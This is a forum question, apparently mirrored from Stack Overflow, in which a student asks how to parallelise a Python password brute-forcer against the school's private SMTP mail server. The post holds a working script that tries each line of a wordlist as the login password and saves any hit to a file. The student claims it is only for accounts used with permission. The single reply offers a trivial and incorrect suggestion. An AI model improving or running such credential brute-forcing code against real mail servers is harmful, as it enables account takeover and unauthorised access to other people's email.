Parallel compute task to brute-force in python

2019-08-30 17:21发布

问题:

/* This is not for anything illegal just that my school only uses 7 integers, and I want to see if I can get this to work in time as currently I need 1.59 years to crack a password. The school has it's own private server on site for anyone concerned and it's easily detectable. I'll do this only to me or my friends with their permission .*/

I just wanted to use multi processing or concurrent.futures to make this password cracker run in reasonable time.

Here is my attempt at paralleling it

import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
    print("Got to here3")
    smtpserver.connect('private_email_server', 587)
    smtpserver.ehlo()
    smtpserver.starttls()
    print("OK going to main")
    main()
def main():
    for password in passwfile.readlines():
        password = password.strip()
        print("Go to here1")
        try:
            print("WELL AT LEAST WE GOT HERE")
            smtpserver.login('myemail@private_email.com', password)
            a = password
            with open('pass.txt','w') as bc:
                bc.write(a)
            print ("[+] Password cracked----> %s" % password)
            input()
            break
        except smtplib.SMTPAuthenticationError:
            print("[-] Wrong --> %s" % password)   
            pass
        except:
            print("Got to here2")
            conn()
if __name__ == '__main__':


    passwfile = open('per.txt', 'r')
    smtpserver = smtplib.SMTP()

    with ThreadPoolExecutor(max_workers=3) as exe:
        exe.submit(conn)

This actually works only if the password is in the first line it, it only outputs the indicators i wrote on there like print ("Got to here3") It doesn't print the cracked password or even write it to a text file.

回答1:

Have you tried

with ThreadPoolExecutor as exe:
    exe.submit(conn)

It maybe that you aren't actually connected to the server